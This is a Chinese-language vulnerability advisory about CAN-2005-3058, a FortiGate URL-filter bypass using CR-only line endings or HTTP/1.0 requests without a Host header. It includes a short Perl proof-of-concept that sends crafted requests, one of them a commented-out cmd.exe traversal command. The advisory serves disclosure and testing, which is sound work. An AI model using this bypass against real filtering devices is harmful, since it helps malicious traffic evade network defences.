Fortinet FortiGate URL检查过滤可绕过漏洞
发布日期:2006-02-13
更新日期:2006-02-13
受影响系统:Fortinet FortiOS 3 beta
Fortinet FortiOS 2.8 MR10
描述:
BUGTRAQ ID:
16599
CVE(CAN) ID:
CAN-2005-3058
Fortinet FortiGate是一款流行的硬件防火墙。
FortiGate处理HTTP请求的URL过滤时存在问题,远程攻击者可能利用漏洞绕过检查过滤。
如果HTTP请求的每行都以CR而不是CRLF结束的话,或如果HTTP/1.0请求中没有主机字段的话,Fortinet就会无法解析,导致恶意URL绕过Fortinet URL拦截器。
<*来源:Mathieu Dessus (
mdessus@gmail.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=113986406929831&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test
use IO::Socket;
$target = '1.2.3.4';
# Detected
$data = "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data = "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*
";
# Not detected
$data = "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected :)
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";
my $sock = new IO::Socket::INET (
PeerAddr => $target,
PeerPort => '80',
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock);
建议:
厂商补丁:
Fortinet
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
https://www.fortinet.com/浏览次数:3391
严重程度:0(网友投票)